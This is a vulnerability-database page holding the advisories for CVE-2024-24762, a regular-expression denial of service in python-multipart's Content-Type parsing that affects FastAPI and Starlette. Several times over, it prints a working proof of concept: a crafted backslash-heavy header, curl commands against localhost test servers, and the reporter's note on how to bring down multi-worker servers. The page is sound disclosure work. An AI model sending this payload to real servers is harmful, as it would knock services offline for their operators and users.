Vulnerability-Lookup

CVE-2024-24762 (GCVE-0-2024-24762)

Vulnerability from cvelistv5 – Published: 2024-02-05 14:33 – Updated: 2025-05-09 16:32

Title

python-multipart vulnerable to content-type header Regular expression Denial of Service

Summary

`python-multipart` is a streaming multipart parser for Python. When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests, leading to regular expression denial of service. This vulnerability has been patched in version 0.0.7.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-02-05 16:44 UTC

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M mitre root

References

8 references

URL	Tags
https://github.com/Kludex/python-multipart/securi…	x_refsource_CONFIRM
https://github.com/Kludex/python-multipart/commit…	x_refsource_MISC
https://github.com/tiangolo/fastapi/security/advi…	x_refsource_MISC
https://github.com/encode/starlette/security/advi…	x_refsource_MISC
https://github.com/andrew-d/python-multipart/blob…	x_refsource_MISC
https://github.com/encode/starlette/commit/13e5c2…	x_refsource_MISC
https://github.com/tiangolo/fastapi/commit/9d34ad…	x_refsource_MISC
https://github.com/tiangolo/fastapi/releases/tag/…	x_refsource_MISC

Impacted products

3 products

Vendor	Product	Version
Kludex	python-multipart	Affected: 0 , < 0.0.7 (affected)
tiangolo	fastapi	Affected: 0 , < 0.109.1 (affected)
encode	starlette	Affected: 0 , < 0.36.2 (affected)

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GHSA-2JV5-9R88-3W3P

Vulnerability from github – Published: 2024-02-12 17:28 – Updated: 2026-04-03 19:13

Summary

python-multipart vulnerable to Content-Type Header ReDoS

Details

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header


def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]


httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

This is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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      "package": {
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    "github_reviewed_at": "2024-02-12T17:28:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\n### PoC\n\nCreate a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`:\n\n```Python\n# main.py\nfrom wsgiref.simple_server import make_server\nfrom wsgiref.validate import validator\n\nfrom multipart.multipart import parse_options_header\n\n\ndef simple_app(environ, start_response):\n    _, _ = parse_options_header(environ[\"CONTENT_TYPE\"])\n\n    start_response(\"200 OK\", [(\"Content-type\", \"text/plain\")])\n    return [b\"Ok\"]\n\n\nhttpd = make_server(\"\", 8123, validator(simple_app))\nprint(\"Serving on port 8123...\")\nhttpd.serve_forever()\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8123/\u0027\n```\n\n### Impact\n\nThis is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
  "id": "GHSA-2jv5-9r88-3w3p",
  "modified": "2026-04-03T19:13:44Z",
  "published": "2024-02-12T17:28:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/4829"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kludex/python-multipart"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-multipart vulnerable to Content-Type Header ReDoS"
}

GHSA-QF9M-VFGH-M389

Vulnerability from github – Published: 2024-02-05 17:01 – Updated: 2024-02-20 18:16

Withdrawn 2024-02-16

Summary

Duplicate Advisory: FastAPI Content-Type Header ReDoS

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.

Original Description

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238

PoC

Create a FastAPI app that uses form data:

# main.py
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

Then start it with:

$ uvicorn main:app

INFO:     Started server process [50601]
INFO:     Waiting for application startup.
INFO:     ASGI 'lifespan' protocol appears unsupported.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

Stopping it

Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.

To stop it, first check the process ID running Uvicorn:

$ ps -fA | grep uvicorn

  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn

In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:

$ kill -9 59461

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.109.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.109.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-05T17:01:54Z",
    "nvd_published_at": "2024-02-05T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\nThis is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238\n\n### PoC\n\nCreate a FastAPI app that uses form data:\n\n```Python\n# main.py\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO:     Started server process [50601]\nINFO:     Waiting for application startup.\nINFO:     ASGI \u0027lifespan\u0027 protocol appears unsupported.\nINFO:     Application startup complete.\nINFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it\u0027s not possible to simply kill Uvicorn with `Ctrl+C` as it can\u0027t handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt\u0027s a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
  "id": "GHSA-qf9m-vfgh-m389",
  "modified": "2024-02-20T18:16:58Z",
  "published": "2024-02-05T17:01:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238"
    },
    {
